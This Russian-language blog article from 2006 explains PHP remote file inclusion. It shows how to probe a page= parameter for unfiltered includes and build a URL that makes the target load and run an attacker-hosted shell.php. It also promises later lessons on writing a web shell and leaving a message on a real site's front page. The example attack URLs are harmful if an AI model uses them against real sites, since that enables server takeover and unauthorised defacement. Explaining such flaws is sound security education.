На главную  Карта сайта  
Главное меню
Реклама

php-include

Сегодня мы познакомимся с одной из самых фатальных ошибок web-программистов, имя которой инъекция. В начале я приведу немного теории, а потом приступим к практическому освоению материала

С помощью инъекции злоумышленник может получить полный контроль над сайтом, начиная с просмотра файлов находящихся в директории веб сервера и заканчивая полным уничтожением или копированием всех данных. Даже самые серьезные на первый взгляд сайты могут содержать уязвимости типа инъекции, к примеру, совсем недавно на одном из популярных порталов посвященных взлому, была выложена видеозапись того, как при помощи sql-инъекции взломщик получил доступ к базе данных сайта всем известного журнала «Хакер».

В данной статье мы рассмотрим такой тип инъекции, как php-include.

С помощью php-инклудинга, злоумышленник может легко внедрить свой код в ваше приложение, последствия данного внедрения могут быть фатальными.

Выявить возможность php-инъекции просто, для этого нужно зайти на намеченный сайт и провести пару экспериментов с запросами. Допустим, вы зашли на сайт под названием http://some_site.ru, первое, что нужно сделать, это найти на нем ссылку типа: http://some_site.ru/index.php?page=article, потом можно начинать экспериментировать с этой ссылкой, посылая заведомо неверные значения параметра page.

К примеру,  page=абв, page=234 и т.д.

Если на странице появиться текст ошибки подобный этому:     

Warning: main(абв.php) [function.main]: failed to open stream: No such file or directory in  site\www\index.php on line 3

Warning: main() [function.include]: Failed opening 'абв.php' for inclusion (include_path='.;/usr/local/php5/smarty') in site\www\index.php on line 3   

 То, изучив, его мы можем сделать вывод, что скрипт пытается подключить, файл которого нет на диске, а так как имя этого файла мы передали параметром page, то отсюда следует, что параметр в скрипте никак не фильтруется и уязвимость имеет место быть.  Теперь, когда мы нашли дыру, давайте попробуем разобраться, как ее может использовать злоумышленник. Итак, мы знаем что параметры, передаваемые скрипту никоим образом не фильтруются, и сейчас мы узнаем, что это может дать. Дело в том, что значение, передаваемое параметром page включается в скрипт на прямую. Выглядит это примерно так: <?php include "$page"; ?>.

А значит, мы легко можем составить ссылку вида: http://some_site.ru/index.php?page=http://хакер_page/shell.php  И код, который находится в shell.php, будет выполнен на сайте http://some_site.ru. В скрипте shell.php можно написать все что угодно, будь то вывод списка, файлов, которые находятся на сервере, загрузка/скачка файлов и.т. Написанием многофункционально shell.php мы займемся в одном из следующих выпусков. А сейчас давайте рассмотрим ситуацию, когда ошибки не выводятся в браузер. В таких случаях нужно подбирать такие параметры, которые даже если бы и были в скрипте, то они не нарушили бы его выполнения. К примеру, можно добавить в запрос ./, что означает текущий каталог, если ссылка вида: http://some_site.ru/index.php?page=./article, «прокатит», то с большой уверенностью можно сказать, что уязвимость имеет место быть.

Итак, сегодня мы познакомились с уязвимостью типа инъекция, в следующем выпуске мы закрепим наши знания на примере исследования реального сайта. Мы оставим небольшое сообщение администратору, на главное странице сайта, но сделаем это так что бы не нарушить нормальную работу портала :) 

 

 

Евгений Скирда 

21.06.2006

Комментарии

ФИО: 
E-mail: 
Тема: 
Комментарий: